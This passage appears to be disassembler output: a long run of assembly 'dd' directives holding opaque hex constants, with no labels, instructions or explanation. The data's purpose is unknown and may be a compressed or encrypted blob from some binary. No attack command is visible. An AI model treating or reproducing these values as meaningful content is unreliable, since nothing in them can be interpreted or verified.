		dd 3F2DEF96h, 2358FA5Bh, 6F5837ACh, 62C49EC6h, 0B4CD6A9Dh
		dd 7ACD63E6h, 0C63D7597h, 47D6FDDCh, 0B17F73D1h, 4C640E92h
		dd 0AECD9049h, 9B7EBAC5h, 0F5D63772h, 0CA73CA2Dh, 9D4DB574h
		dd 9E05CEA5h, 0ABE7542Fh, 2C1AB10Bh, 0B2B03B53h, 16D6CB3Ah
		dd 2682D597h, 5CA77314h, 32F98A93h, 0B5AA9B5Eh,	83417369h
		dd 0B0DBB4AAh, 558BDD82h, 51FD41E8h, 68EC29FDh,	86510C42h
		dd 8521D8D3h, 0E1CD4398h, 72DE56DDh, 2E799273h,	0E8F99C76h
		dd 15506295h, 0B4415607h, 0DE6CDF16h, 0C36E5A82h, 7403BAACh
		dd 0AF798F66h, 0CCA834F9h, 39D9F459h, 5F379F3h,	877365F3h
		dd 5884B059h, 16E12D42h, 28B06629h, 66B8B44Bh, 5779809Fh
		dd 0AF63D16Dh, 0B2496F1Fh, 966C5AA4h, 0E6FDEC2Ch, 9DA2165Ah
		dd 96C52D0Ah, 0BB038B32h, 0B36835B4h, 65AD4B1Ah, 0DA0B65B3h
		dd 0B7659B6Eh, 3ADF8F65h, 0F48D6A5Fh, 0AD63F1AEh, 0AB72AC13h
		dd 9AB7AADAh, 24D6F1ADh, 0DD35AA6Bh, 8166B36Ah,	2AC5CD76h
		dd 885ADF26h, 75665991h, 0B1AD8E80h, 0AC6B5956h, 385738B5h
		dd 5EC56D63h, 7A518DC0h, 0BC950ADEh, 0CE968B78h, 36E55240h
		dd 942CE29Ch, 53C76217h, 2B59D189h, 26DF22DFh, 23DF21DFh
		dd 959F956Fh, 0B0E7E5BBh, 0BF20BEB7h, 0A0BBDD8Ch, 2A845108h
		dd 924F98D4h, 62E6AB30h, 7310B65Fh, 3EC50ECAh, 614ECDECh
		dd 8D05692Eh, 6E12BDA2h, 6CA341F3h, 62CA85CAh, 6FFA2565h
		dd 0AB707A33h, 0CCF62F72h, 6CFED9FBh, 7D41BABFh, 0F58CDD54h
		dd 0B5EB0B4Eh, 8F3580Bh, 0B1461158h, 0D62C4F35h, 2D9A4918h
		dd 359B5D98h, 9A2D35A7h, 4D59CD56h, 7745AEA3h, 452B2D1Eh
		dd 82D1CA6Bh, 0D472D636h, 64B9906Ah, 14FB61B2h,	0BAD6B167h
		dd 50ACB8A0h, 85AACCABh, 0B19B8BA0h, 8CC06F2Ah,	4E755675h
		dd 88F9C525h, 7C049D59h, 0C3B9C329h, 0BE237576h, 8DDF0E7Eh
		dd 0EAD8C8D2h, 9A6B0CAAh, 0F8DD9AEDh, 5CD29E2h,	0D8641DECh
		dd 3E63A4FFh, 0ECE604AFh, 0C29CE606h, 1B43A23Eh, 0C9D58BA2h
		dd 0B9BA5975h, 0BAB5D518h, 0B93718BDh, 42868586h, 0E5E61943h
		dd 6D5B9C2Ah, 0EC336C31h, 0EC31EC30h, 1A183433h, 0C398CD0Dh
		dd 71DFB05Ah, 2E1BCE1Bh, 0A863041Bh, 3524D431h,	0A6649945h
		dd 0F54CAC58h, 0AA5378A6h, 0AA7386C9h, 0CBBD9885h, 0FD8954Ch
		dd 6EC282D6h, 9C0ED33h,	83533EC5h, 0F3AB11A9h, 56D0C053h
		dd 0D7AB1B93h, 980126CBh, 0CA96052Ah, 0B372A180h, 4E6F1CDEh
		dd 0B9CCDB35h, 6042D2C0h, 0B3B02568h, 0DB9D816h, 0BCC7B998h
		dd 6E60DCCFh, 6E82CEF4h, 0B465E6E0h, 4B85A85Eh,	7B459F6Bh
		dd 0A1660F51h, 0F22A170Fh, 8A5587D1h, 0EF63D82Dh, 9A283451h
		dd 2D15A715h, 8AB3C9E8h, 334DE873h, 3D1D31FAh, 8B9CAB99h
		dd 1657CCDEh, 94CB47A2h, 7D8F710Eh, 0A70A7952h,	33CA2D50h
		dd 1AE556CAh, 46AA9555h, 0A6DAAB55h, 6F5683DAh,	9560B556h
		dd 0C72D4130h, 758CDCD8h, 0F5353EC1h, 0D28C29F9h, 1DA3180Bh
		dd 0F5F448EAh, 0E36CAC04h, 0B173FAD1h, 0DEC4ADAAh, 766BB67h
		dd 0A6A0E07Ah, 567EBD11h, 46C9C6E3h, 1B543688h,	0B93E138Eh
		dd 63D5AD56h, 0B696724h, 0D86B23D1h, 7D8EDE68h,	51ED7EE9h
		dd 0A4F6B36Dh, 0ADD6ACF6h, 0C415A73Dh, 0AB1CA95Dh, 2E5D2CD2h
		dd 0ABA1C97Ah, 3B74EAC4h, 628EB8CEh, 731A7A3Dh,	0FC8C59C7h
		dd 216EA00Bh, 0CB3B5A06h, 32486BB0h, 560F45CCh,	0D763B619h
		dd 0D6BD1FB7h, 0E86B3862h, 8A555AC0h, 51B927B3h, 3AA9D8Fh
		dd 0E356E133h, 16BDD076h, 39E359E3h, 4FFA2463h,	0F29B326Dh
		dd 0A63567D1h, 0EFBDD8CDh, 4AC5ED36h, 28E9A0E4h, 0AFBFCBFAh
		dd 30DBB1A2h, 0E4E897A3h, 63B406AAh, 0A397EB1Bh, 11E833E6h
		dd 6221401h, 70CA9CB8h,	5F9181D9h, 0D5BF5183h, 92FB03B2h
		dd 96F396B3h, 32ED18CBh, 8C24F08Ch, 0E68C5CEAh,	1AE48C32h
		dd 0B1ED2F9Ch, 624F5A36h, 86B79F14h, 4DC645C6h,	0D9C7D388h
		dd 6AE2CAE2h, 6DC4B6E2h, 0B713DB8Bh, 73943B1Fh,	955EC71h
		dd 9708E6B6h, 569CE247h, 859E318Eh, 46254695h, 82CC76F6h
		dd 239230E7h, 0FDEC3215h, 0CAA338F5h, 3021452h,	8A358A1Ch
		dd 0C566C51Ah, 6E68C36h, 60CF0EACh, 50CA0934h, 8272A465h
		dd 0C82C0D52h, 0C6EFEF45h, 6F466DF8h, 71E795BBh, 8AAE1466h
		dd 0A5504D51h, 6315AC63h, 0DAA35885h, 87DF9E82h, 3AAA3FBEh
		dd 0EAA0BAA3h, 1F634550h, 0BD5A0F1Ch, 12AEA310h, 0EFDA40FBh
		dd 3BB8C3EEh, 3A202C03h, 4D4A021Dh, 11865E63h, 642E072Fh
		dd 3C321669h, 0A3D9AAD8h, 403587D9h, 0C6813003h, 488C19E3h
		dd 0F3851B41h, 0B302C208h
		dd 0CC8D8936h, 65EAA0B9h, 56ED5ADAh, 0D8FDCE8Ch, 1E051FE7h
		dd 0E3CF68B4h, 2744278Ch, 5E6BA1C8h, 0A1AFE742h, 0DA290168h
		dd 2D1E4A20h, 2625A197h, 3C5795B0h, 0F26D234Eh,	0E77A0B9h
		dd 0BAD056F9h, 0BB76A0EDh, 0CAF6EF41h, 0CBF7C9F7h, 0D147E51Bh
		dd 32E41746h, 0A33C4EB4h, 0D70C0D74h, 8A892B4Fh, 1F7F6344h
		dd 13558EA3h, 22B1AB6Eh, 498EA330h, 79F17958h, 8EA711A9h
		dd 5F8E6654h, 0C31886D1h, 0CDE1AC04h, 4374B2C0h, 1F2D3016h
		dd 560778ABh, 0CD8635B8h, 0ED86AD86h, 0BF581DC6h, 0C5EE31EFh
		dd 0CE3F758Eh, 4F620E86h, 44271474h, 8CA78D27h,	676D81A7h
		dd 6B3D8BB0h, 0CEE70374h, 2F182F1Bh, 4C15D663h,	5350A621h
		dd 2448E838h, 68344928h, 71B00C49h, 1A89E802h, 9A0CC514h
		dd 32AA0492h, 1F253417h, 7418A554h, 5D2C01C5h, 0D9B2DA03h
		dd 1E360724h, 30E83505h, 0CA066347h, 0CE05BE07h, 0E914FC2Eh
		dd 0B4EFF024h, 6AD2C5A5h, 2ED7AC11h, 0AEFDAE3Bh, 2 dup(0AEFDAEFDh)
		dd 0E8FDAEFDh, 3500FFF7h, 0DD7BB6E4h, 0CB6A8638h, 2BEDE4CDh
		dd 0C71EB327h, 376D9D4Dh, 0B7A6F267h, 29E22F30h, 25FCFB69h
		dd 9EBD2B2h, 0A1408F6Dh, 6533436Ah, 64E96D14h, 9FEAF65Dh
		dd 0EDB781BDh, 0C65EB21h, 0D4F5B6F0h, 86EFE021h, 64D3ECF5h
		dd 0B6D9C925h, 0F74BE622h, 61F36DE8h, 470C886Dh, 9198EF46h
		dd 792E7D51h, 0EEA2CF3Eh, 0EDA2AEC7h, 1E111FEAh, 30FFE14Fh
		dd 0A15312F3h, 0F90DBCA8h, 0B984FBE4h, 6B9D7F7Bh, 2D499DABh
		dd 1D8F0E76h, 92A5ADB4h, 0E5A8A16Eh, 67F52A3Ch,	45B14CE1h
		dd 51E6DA43h, 9F0A41F8h, 1DA9C3C9h, 6CF069DCh, 0B98B4F25h
		dd 0C8687C27h, 40C87841h, 16EC8F84h, 4B5C784Eh,	0F0A58BE5h
		dd 0C3DD4D5Fh, 7FE9B5CFh, 0A41E0AA2h, 24CFD60Ah, 0DF59036Bh
		dd 76ADE19Eh, 23EEB313h, 1B5841EBh, 7F5E51B6h, 0B8357963h
		dd 3794FEC9h, 0D899885Fh, 8919B7DCh, 4E5751F4h,	0EA7A2A4h
		dd 79BB9442h, 189E1714h, 66BF056Ah, 3B231304h, 4BB5957Fh
		dd 0DF669B7Eh, 0C839AC55h, 7696DA1Eh, 0D0AE6C48h, 6D6037B6h
		dd 13C94358h, 3B502FC5h, 0BB6DCDB5h, 50760299h,	2AC0B8C0h
		dd 0B1F9D0B9h, 28F0232Fh, 0A1EC0E05h, 9ADB47BEh, 9BB8455Fh
		dd 0F635BFC2h, 0D9849ED0h, 7624FF1Bh, 0DC6DAC89h, 459D888Bh
		dd 48D97CB5h, 2DAE75C8h, 0C27C14F5h, 97F3E023h,	0AA7BE9EEh
		dd 0ACDB685Fh, 6BF5167h, 1559A539h, 4AE88690h, 0AFC847E5h
		dd 0F5E6C296h, 28B69E54h, 0EC34B71Ch, 0B18B70A5h, 0B6CE7D7Bh
		dd 0FD49BC35h, 0EFFEA52Fh, 56353D39h, 6AFF852Ch, 64FE9EE8h
		dd 39E035Bh, 0F0A7486Eh, 0E03D0D8Fh, 365E12Fh, 0D86ED39Eh
		dd 85E514Ah, 3510D28Ch,	0E0DFFA98h, 0B6EEBF1Bh,	6FF01089h
		dd 0F5FE42D8h, 83E3F3DDh, 4E2FF9D7h, 1AD8651Ah,	0A8A41C37h
		dd 0F1DE0C8Bh, 0C22FFB90h, 0E8CCF277h, 0A95E9E9Eh, 0F84752FEh
		dd 0E54650D5h, 45181719h, 5FD5FFCCh, 508DFE78h,	3E10D7D4h
		dd 0BC82F104h, 0EC7D53F9h, 0E9C6CD74h, 6D61199h, 54F9453Dh
		dd 0ADB3CCFh, 2E67C327h, 0EFAEBCF9h, 5686FDFAh,	0EF4E7FF2h
		dd 0B6D1EFABh, 0D06CE9DCh, 2DB14CE0h, 0F9A48143h, 3CA21D7h
		dd 0B6FC717Ah, 53A7E9B4h, 5AE790FFh, 97FD4F7Dh,	6A89043Bh
		dd 0BE9E7C29h, 9239F1C7h, 0E2691168h, 0ACC89B6Ch, 0D1A9F48Dh
		dd 28E9A923h, 0A97EADD5h, 7D4FEBEAh, 5397F542h,	7D643DBCh
		dd 6E951A61h, 3EB0C7CBh, 0DC86DF0Bh, 0A0B92448h, 0ED889313h
		dd 76F70B31h, 0E4286B0Dh, 7B605D43h, 6029E042h,	0E2AF193Eh
		dd 0E00509F3h, 0C84F6D09h, 0C1EE19D9h, 1EC34862h, 1D01E7CAh
		dd 6D7D960Dh, 0CAB95E73h, 0D9324CCCh, 2A5B5C15h, 0DC6A0DACh
		dd 0D72DB478h, 2AFF16F1h, 3E460A9Bh, 96B25873h,	738A18B6h
		dd 0C4D27C9Ah, 9C50AF38h, 63A3E4CBh, 0A4DAE73Eh, 2284893Fh
		dd 875FEDAAh, 77FD94F9h, 14361988h, 6DA2C6E2h, 0FDAC9888h
		dd 99B46447h, 0E7D1047Ch, 3D3B2FBEh, 61D0F6E4h,	87FF30EFh
		dd 0DB6E6AC7h, 0B6E6B1E3h, 0C36B013Dh, 8AFD4A29h, 0C17D93B6h
		dd 58AD25F6h, 34F3B9CEh, 283B070Ch, 0B7AD69ECh,	7BDEB0CDh
		dd 5F0F4A5Eh, 6AF9F91Ch, 37C2E167h, 812802E8h, 0DE6425DAh
		dd 0A97C3111h, 6283BCF0h, 995C00FCh, 0EF0477h, 58543560h
		dd 5550988Ah, 56D6FF0Ah, 81AF6988h, 0AA9F58E5h,	0BE4E7A44h
		dd 54BE8120h, 0D7CF6148h, 4AE5C250h, 5156F62Ch,	0A0B3B7D6h
		dd 0EF9077E7h, 0C2FE6857h, 70D5F21Ah, 7381BA5Fh, 0BE1672DFh
		dd 8DEF91F7h, 646D9B3Ch, 68C78EBFh, 142118A0h, 0FDF249E3h
		dd 0D8C59E35h, 981FF64Bh, 0FF3EAFDDh, 779A88C0h, 452A79E4h
		dd 0BC942CDBh, 0E5950FA9h, 0BFCB0A02h, 94A786DFh, 0DB37D93Ah
		dd 0D471C33Eh, 0DBCA74F3h, 0D5C4EA36h, 0B695F64Eh, 79EFC9D7h
		dd 8EFF2DB2h, 0FB5F6194h, 0CDF9CFFDh, 0DC24151Dh, 28035807h
		dd 3006DC06h, 4601C603h, 71620A8Ch, 12088EF6h, 0DBC015Eh
		dd 0B80B38h, 4821B908h,	2500618h, 5CC036Eh, 3560214h, 0C3C01EEh
		dd 0FD80BD8h, 10F80A38h, 55C06E0h, 9074584h, 80188051h
		dd 0C80A9016h, 0BE40EC06h, 92D6606Bh, 3800D01Dh, 3A037005h
		dd 9123A100h, 400B700Eh, 6402480Fh, 1F7C18Fh, 602C4046h
		dd 70042018h, 0B0907461h, 255F909h, 173000Ah, 29FE02Bh
		dd 84280B53h, 7E7900BDh, 80CD7882h, 807D8083h, 1D826E37h
		dd 30F007B0h, 35601360h, 1B202960h, 3B00530h, 0AA00B6F1h
		dd 0DB80F900h, 14407200h, 0CFC22AE0h, 911B9C51h, 0E010E01Fh
		dd 0F005A024h, 4047E015h, 235FA408h, 35003101h,	10B00520h
		dd 5B002B0h, 17B01DB0h,	14700070h, 2CE036F0h, 186032E0h
		dd 28018EF2h, 0C4DC9F01h, 2ECF07FBh, 0A290E154h, 558F670Ah
		dd 82AF8DE0h, 9536156Fh, 85573124h, 0DADA0703h,	6EF85508h
		dd 602E6021h, 60052026h, 8C024C04h, 33E791BEh, 0E9ED1Fh
		dd 0EC026Ch, 2FFFA104h,	4E0374C2h, 0F6028E03h, 1B71E48Fh
		dd 701A7611h, 0F600E296h, 1D22B889h, 0C70DD411h, 4CEE135Ch
		dd 0F0429321h, 0FA0B070h, 9906209h, 25B79AFBh, 2F7A0CD2h
		dd 0CC126610h, 0C0A730CDh, 5B330ADCh, 618A13C8h, 8A7B0EDFh
		dd 0B942A50h, 30BB058Bh, 0AE1CB013h, 72F13015h,	0C1A6C229h
		dd 82BE815h, 767E5947h,	0E0BB7A4h, 0FC0CEFD1h, 0FC328412h
		dd 0ADF409A5h, 651D2144h, 914BD8F0h, 97FF0CBEh,	0D2097620h
		dd 0C797E0C8h, 0DF612ED2h, 82AD822Eh, 3B0293E5h, 0AC259BE5h
		dd 779E0A42h, 47634B1Ah, 5AA402BCh, 61537CCCh, 85F2172Bh
		dd 0F1E4CC95h, 0B9769032h, 1214CF68h, 26660C84h, 50B35BE3h
		dd 39E43487h, 0D9B0C5Bh, 864842C8h, 0CE452EE8h,	3CBC808Eh
		dd 9E474FDFh, 3CEE08Bh,	54FFC72Ch, 1BE2073Ah, 6C188749h
		dd 0F646CC65h, 513A8472h, 84984122h, 3E629574h,	48D58493h
		dd 0F3DA2653h, 0A24586D0h, 0E5445A9Dh, 0FAEB53B5h, 0D9F897FCh
		dd 1E75CCEDh, 801DBEDh,	5522477Dh, 73015203h, 35806501h
		dd 36C01A80h, 41C01EC0h, 8E6098C0h, 48DC8D1Fh, 0FE161BC9h
		dd 9FAFB3CEh, 2AC9BC1Ah, 0FE3F4E34h, 49CDC979h,	6E275413h
		dd 7F783539h, 481FDC35h, 0B05F57AEh, 0F6DB9FC9h, 0EF17E0E6h
		dd 5E119E16h, 87C0637Ah, 85BA043Fh, 0FC80A090h,	7EE23FE8h
		dd 904E3A5Ch, 0BE1006AEh, 0F1CD3B9Dh, 8E69C2EDh, 39A71D6Fh
		dd 0EBBC85BEh, 77F0B7C3h, 0A8B7C77Bh, 37C67B77h, 0F1DDBBF5h
		dd 0FFDDFD2Dh
		dd 0DA8DF1B3h, 6F1EFCD3h, 78F7A4CFh, 0C7BFA67Bh, 3DEB33DBh
		dd 7DCE7B5Fh, 2CF6F7AFh, 0F6E7AF7Ch, 7BAF79ACh,	0EF7F6E7Bh
		dd 0BCF6ECFFh, 0AF8B984Bh, 0C2D6138Dh, 459F1FF4h, 0E2B2CAF6h
		dd 24FB72D2h, 58F3257Bh, 730AC42Dh, 5130B904h, 84F30830h
		dd 9F4902F1h, 797E64AFh, 528D5BF0h, 0F0EE144Dh,	9DC20886h
		dd 0D08D1B08h, 1E7FF8F9h, 0FF0D1FF2h, 95BBF035h, 0FCCADDF9h
		dd 96E3156Eh, 0B207FC0h, 9C4281Dh, 0FEE5F061h, 0A4DF7E85h
		dd 0AFB014AFh, 0F2D20A4h, 13280FCFh, 43DC5BF7h,	11642899h
		dd 96A197F3h, 0BCDC6F0Eh, 0F303716Eh, 0D3DB5C22h, 5F6D71C2h
		dd 86B5C70Bh, 8D6B8E16h, 6B5C3E2Dh, 0D71DE96Eh,	8CF4B74Eh
		dd 0BA5BE76Bh, 7E85AE3h, 0DAE367FFh, 2F2257C2h,	737D2E34h
		dd 40B781F0h, 317C5F3Bh, 9A958737h, 0C4AD3ED7h,	0B12F2F61h
		dd 1CC9643Bh, 6417CAEFh, 0D857CBDAh, 141E19CBh,	0B6DCC7A6h
		dd 5B67DEEBh, 59E768B6h, 3D76BEC3h, 0CAF367B7h,	5FE10D1Bh
		dd 9BF8FE9Eh, 0CCB3F30Fh, 0B708B534h, 4561049Ah, 52ACB95Eh
		dd 0D1419166h, 1617B339h, 0C066563Bh, 7969395Dh, 6171639Eh
		dd 0B0F264ECh, 1FCDCEC4h, 0D172763Fh, 1E189358h, 8A39CDC7h
		dd 3214E379h, 94A14CA3h, 0EF4C49Bh, 0E480E2C7h,	66A5FB70h
		dd 0F0CC71A1h, 4A4A45A4h, 0F024A4B7h, 0A5FB70B3h, 0CC71A163h
		dd 6C874BF0h, 32601496h, 0F90998F5h, 585737F9h,	5DA01660h
		dd 0A7B30744h, 0F2385495h, 0FDC98B8Ah, 59C5DA5Bh, 264A5C5Eh
		dd 0D63B11E5h, 1E51E424h, 0B09EF979h, 0AC4776A9h, 3D218BC7h
		dd 6FF11473h, 7A238D74h, 729E78B3h, 0ECBBE67Ah,	25A4162h
		dd 98721448h, 0CDC3B51Fh, 3719D415h, 7CDF5057h,	8BC46E36h
		dd 737EEF3Fh, 0A132FDF0h, 5384C16Ah, 8563BF9h, 4DB53D2h
		dd 0A36614A9h, 39969043h, 0D00A79B9h, 0D80F380Ah, 7D8726F2h
		dd 2FD2088Fh, 1A3E4A76h, 7D5E97EFh, 9585486h, 0FFC882ECh
		dd 2098F657h, 0E7947F8Dh, 9051BF1Dh, 0A416AD56h, 3542003Bh
		dd 7C8619F2h, 8F9BE307h, 4A4E5E63h, 0C9896C16h,	1211FCC2h
		dd 8A7A07A9h, 0CF74F27Bh, 0FBF9A9DFh, 0FFDB7FC3h, 0F42908C2h
		dd 0A8233F85h, 0F1DBF647h, 34E520B8h, 0A0761049h, 0B770AD0Ch
		dd 0FB8650BAh, 0C05AAF51h, 0FB6A4116h, 650EA01Dh, 7B084DAh
		dd 0F5087F61h, 8076187Eh, 456C750Dh, 1CB51DBAh,	4029CD28h
		dd 4D2FAD6Bh, 1DBF215h,	0E1897468h, 0FDEDA930h,	0DA9FF0EBh
		dd 0E736D3D2h, 66DAF9B7h, 37C1CE1h, 5E51F0B0h, 0EFCA1207h
		dd 0F13C5DA9h, 0F3597486h, 3587A48h, 0EF3FBBF9h, 0F28BF7D2h
		dd 0F38B65F2h, 0A3021C2Ah, 0AF7886Bh, 0F91876CAh, 4FD80403h
		dd 8CC1B4C1h, 15407F27h, 0FF08D6C0h, 48070863h,	5089B045h
		dd 9001D805h, 0DF3F0975h, 484DF48Ch, 2EC29007h,	882FF727h
		dd 14E1CCDBh, 45201F60h, 99DE5812h, 41536AA0h, 0CDBE88EBh
		dd 65DE914h, 0D63E5BE8h, 175744B1h, 940F37C0h, 0C33FABAEh
		dd 9571B43Fh, 8A7D6D8h,	60B7C5DEh, 23B70AA6h, 0CB48D9D7h
		dd 637D2929h, 0F727F21Ah, 0F052D874h, 268CA9BDh, 0E125E27Bh
		dd 4CCC69FFh, 8084BC40h, 99CC1B30h, 0FF1D3348h,	1A6C2067h
		dd 25EE4972h, 0BF462CEEh, 0CCD9B267h, 0A91D3FDFh, 1D371113h
		dd 1123CA76h, 29C86961h, 0AEBC4BB9h, 17E4F5E5h,	391D2718h
		dd 4C90B264h, 0F1D33ED6h, 49C62597h, 0EDCCBD64h, 0E3366C49h
		dd 7D9F9B76h, 8BA66896h, 374F09F3h, 0D33ECFCBh,	0ADE4F63Bh
		dd 0C5564C6Ch, 55D744C0h, 0FDA4C145h, 306614A7h, 0D26141EDh
		dd 0A7F2F43Eh, 45ED2912h, 0F5C4C1CFh, 0A7F35576h, 4FEEDD3Ch
		dd 9F35BA79h, 9FF974F2h, 4FFA74F2h, 3168BA79h, 784F85DDh
		dd 0D49404BAh, 8CC3CE26h, 881A7C16h, 0FE863BEFh, 0FDAF7D51h
		dd 6E07E0D4h, 36CF6413h, 0EB68CDEDh, 57A414h, 0AA448291h
		dd 5E01A403h, 84056C03h, 0EDD22448h, 0FC019F30h, 3D9D2005h
		dd 0FDAC40F9h, 0F0FC1ADh, 0A3CB8416h, 0B56C0E06h, 0CD4A1BA4h
		dd 70DE0F6Fh, 0AB1FF617h, 43D3FF56h, 61060F5Fh,	5A71076Ch
		dd 0C1E1EE44h, 0EC155350h, 1F799373h, 0A043BBDCh, 0D0343410h
		dd 0E9B859FFh, 1A7F4609h, 5920DB46h, 0F7AF079Fh, 0F89E69A7h
		dd 0D303FD79h, 0E8161A7Fh, 0E8111A9Eh, 0B9F60FD6h, 48910C27h
		dd 0C30243E5h, 74088E0Fh, 25DD167Fh, 0F740C8FDh, 86DC5D37h
		dd 0F56E8151h, 58EE818Dh, 0EEBBA059h, 5FA6EE26h, 0FF1EEC2Eh
		dd 0E3029B96h, 43831C0Dh, 4457B443h, 61A0180Ch,	0ACB2559Fh
		dd 896574A4h, 0D8B95ECCh, 2A28E65Eh, 835C212Dh,	62F1D986h
		dd 74DBA538h, 38FA448Bh, 7168A320h, 69456979h, 5D964381h
		dd 2BCCE154h, 1F8E2596h, 2CE99B2Fh, 0B72D1471h,	168BD2CBh
		dd 0AF95E795h, 0E5596C62h, 0F3CA4BA5h, 25E91B96h, 60830ECh
		dd 49349A4Ch, 4F719730h, 221E4959h, 0AD57F93Bh,	8B65EB98h
		dd 0F605059Ch, 16295972h, 12CEE53Eh, 855E6159h,	5EDD916Ch
		dd 3BB7CB22h, 0F61D8BECh, 0C2CAD97Ch, 0CC85C5A2h, 0A229717Fh
		dd 0A39F9194h, 73132ED0h, 0AC22B5BCh, 50A42D88h, 0ED5CC20h
		dd 2C9924FBh, 0AA0C17CBh, 0EA52525Bh, 15E45590h, 21578BD8h
		dd 0C4B7140Bh, 0ED854769h, 61549D8Bh, 0BE495E59h, 0C2B3B96Ch
		dd 0E1228611h, 0B5E432D3h, 1904A8BCh, 130A4FE5h, 0CE9604A6h
		dd 3C9BA853h, 0AB209D6Dh, 45E53E40h, 0C432558Eh, 2CC4528h
		dd 65F0ED4Fh, 0DFFD8567h, 97AC2855h, 7B7EC90Ah,	4DFEC285h
		dd 553D6485h, 9F4F3F08h, 905E4B7Bh, 2CEC5457h, 8ED7FBB7h
		dd 5BB5FDFAh, 6E37D225h, 674FE1F5h, 58C6682Ch, 5D87BC3Fh
		dd 0BF10363Eh, 7771C7B2h, 0C79BCC34h, 33F9FC71h, 2E3FDCCh
		dd 0C09B8DE3h, 25E305DDh, 0F3C6E7D2h, 24931178h, 526EBD2h
		dd 0E5497BC6h, 0B013E5C3h, 0A45714A7h, 2EDDB94h, 23BB4CCCh
		dd 0C9D8AF3Bh, 0ECFD53ECh, 0A5C5C509h, 32FE298Bh, 0AB175D5Ah
		dd 0F9F29394h, 0DF3FCEBAh, 6912B587h, 72796962h, 0E8039165h
		dd 815ED8BAh, 0AF2C46Dh, 0CEDD87F4h, 0CDE27BA2h, 4F2C0E4Dh
		dd 20BB9FA7h, 69956C0Dh, 0C13F7CBCh, 99004BCh, 9FB47F81h
		dd 0DFB27FE3h, 0C98A97F0h, 0D5FDDFFCh, 1817F0F4h, 0F7C48363h
		dd 0FE7F5BF7h, 0F896EFE9h, 0E37E82FEh, 8D2D279Fh, 70504977h
		dd 0FDBE9F48h, 0D87FB42h, 28381F08h, 0C8783A42h, 87439175h
		dd 7EBA8F0Dh, 23D10DC4h, 0BB28DD47h, 9898F469h,	35B96F9Bh
		dd 0F1B8EC76h, 9A4E2613h, 5528572Ch, 0A7568D6Ah, 664D1837h
		dd 3E2E358Bh, 52624A61h, 0D4D4CA72h, 4F6EDBB4h,	0DD3698CFh
		dd 66666336h, 0CE549E16h, 9CC77D9Dh, 2FE6F3B9h,	68B79858h
		dd 60BDBE71h, 0D2D16149h, 4BCBC565h, 2CEECB4Ah,	573870AFh
		dd 0B55CACACh, 6B35AEFAh, 0D217ADD7h, 0A5641713h, 39932465h
		dd 0F246566Dh, 0C34C34CCh, 9F4C67B0h, 30959C96h, 13D93673h
		dd 0D8DB66B3h, 0E9F64F84h, 5909E9E9h, 909ECCC9h, 0B082E9Eh
		dd 99C04D26h, 0F82ECC00h, 73032C72h, 810B4C0Fh,	0F8FFE7C9h
		dd 0FDDD1F2Ch, 1DD7F9BFh, 57FF6397h, 9FDFBE63h,	5FE37E4h
		dd 5FDFBE60h, 0F3FC6FD0h, 186BFCC7h, 0ED377FF0h, 0FBFD1FFBh
		dd 0BFA7F54Fh, 0BBF9FC48h, 0FF24C3FCh, 0FC6BAFD5h, 4FF2FFA0h
		dd 91F5742Ah, 0E5E9FC48h, 0F381B9E8h, 8185CEE6h, 81795DEEh
		dd 0A07E496Eh, 0EE2E9DFBh, 0F5977B36h, 5B9F12FDh, 6A912251h
		dd 276E7C4Ah, 0E500ABECh, 2F94D2E2h, 0C5F6B0CCh, 7D2B27EAh
		dd 0F726667Ah, 9990A721h
		dd 9FAA6D36h, 9E9A4853h, 0CD369091h, 2B5333E7h,	86061A57h
		dd 0AC0AC44Dh, 579642A8h, 0B45C5656h, 0B2AD8F38h, 0AD1865C4h
		dd 45159D0Ah, 12D84B25h, 0A3B16F2Eh, 865D8568h,	0C50562D5h
		dd 7C9062C1h, 49E70B7Dh, 4B3C8698h, 0B15B30E6h,	440B0F3Dh
		dd 1D21C15Ah, 0FBEF4Fh,	0CE158196h, 72D2B2B2h, 0ECB1D884h
		dd 961D402Bh, 0C5827D63h, 59CBAC21h, 0D0AC499Ch, 953D4654h
		dd 0B79259D1h, 0BDEB18A8h, 7229C452h, 1715E514h, 0D3FAC6ADh
		dd 0EBC6579Eh, 1474F146h, 2F6DCA8Fh, 292E7529h,	0E5945594h
		dd 0BCB3B62Dh, 16574B8Bh, 0F96425F9h, 7B69D2FBh, 0C8E1574Dh
		dd 34E937FFh, 168CAE94h, 0CA8A2B97h, 2869B41Dh,	162C9670h
		dd 0D8B8B01Bh, 0AF757E5Bh, 2D282FF9h, 369563B1h, 1857EB19h
		dd 0D1550732h, 10C2BF9Bh, 32D2EF58h, 0A0D1B42Ch, 0B4C5A515h
		dd 0B4515D9Ch, 0D8AE2FD8h, 0E7E53846h, 196A70EBh, 38A7BEFFh
		dd 96712EBAh, 451D8B3Bh, 3B72C28Eh, 0ACB06FCEh,	7E35D65Ch
		dd 2622EDEFh, 0E473CFCAh, 0B0C0FA21h, 1B44086Eh, 9DFB7283h
		dd 67857B4Eh, 4BD9E003h, 35DE22A1h, 2E750CBBh, 4A3D35A2h
		dd 0AEBB64E5h, 26AB7995h, 1DC4CFFDh, 3AD7A1B9h,	6BD04BD8h
		dd 0EDCB25A5h, 0A6C40E25h, 0E35EFAB8h, 712F95E6h, 6F0AC452h
		dd 5B8A4ABEh, 0CF8A5C50h, 95947861h, 92C35762h,	9EDF27C2h
		dd 58A1B62Fh, 0D66A64E5h, 0FCC2C29Bh, 0D4588EF7h, 9CF36B8Bh
		dd 0D2FC92A2h, 560E9995h, 559FF270h, 0BE9F2F61h, 28FA2968h
		dd 4A357CDh, 0C71D269Eh, 1C6C096Ch, 9CCB4ADAh, 0BB8FCC65h
		dd 6423679h, 625BCC72h,	995A529Fh, 56876020h, 0F043BFEEh
		dd 787E97D0h, 3BCD382Eh, 4DB11288h, 6716D342h, 26EA19DAh
		dd 9667E494h, 96249515h, 0EB7EF0A2h, 0E691C7C4h, 747CAB4Fh
		dd 12D593E8h, 0D480E7E9h, 0E5F2E354h, 51760AC6h, 4DF8F91h
		dd 327E0659h, 4FC2ACB2h, 9C98C8C8h, 15793F9Fh, 28E33BDFh
		dd 64900128h, 0BE5F6C5Fh, 4C05DF88h, 63D3EEC3h,	51D8BE9Fh
		dd 0EC4CD64Ah, 99E3DD6h, 3A4E25CEh, 59CDBC59h, 0DB8F2CCh
		dd 0A6F6CBF8h, 5445E565h, 0F2BC8CADh, 687485C5h, 0EE545F63h
		dd 0B7E8F714h, 2B3095E5h, 53F943BEh, 0E52794BEh, 1E50F945h
		dd 0F28AB748h, 9694F4A0h, 799908D2h, 7E79670Eh,	0A523CB1Eh
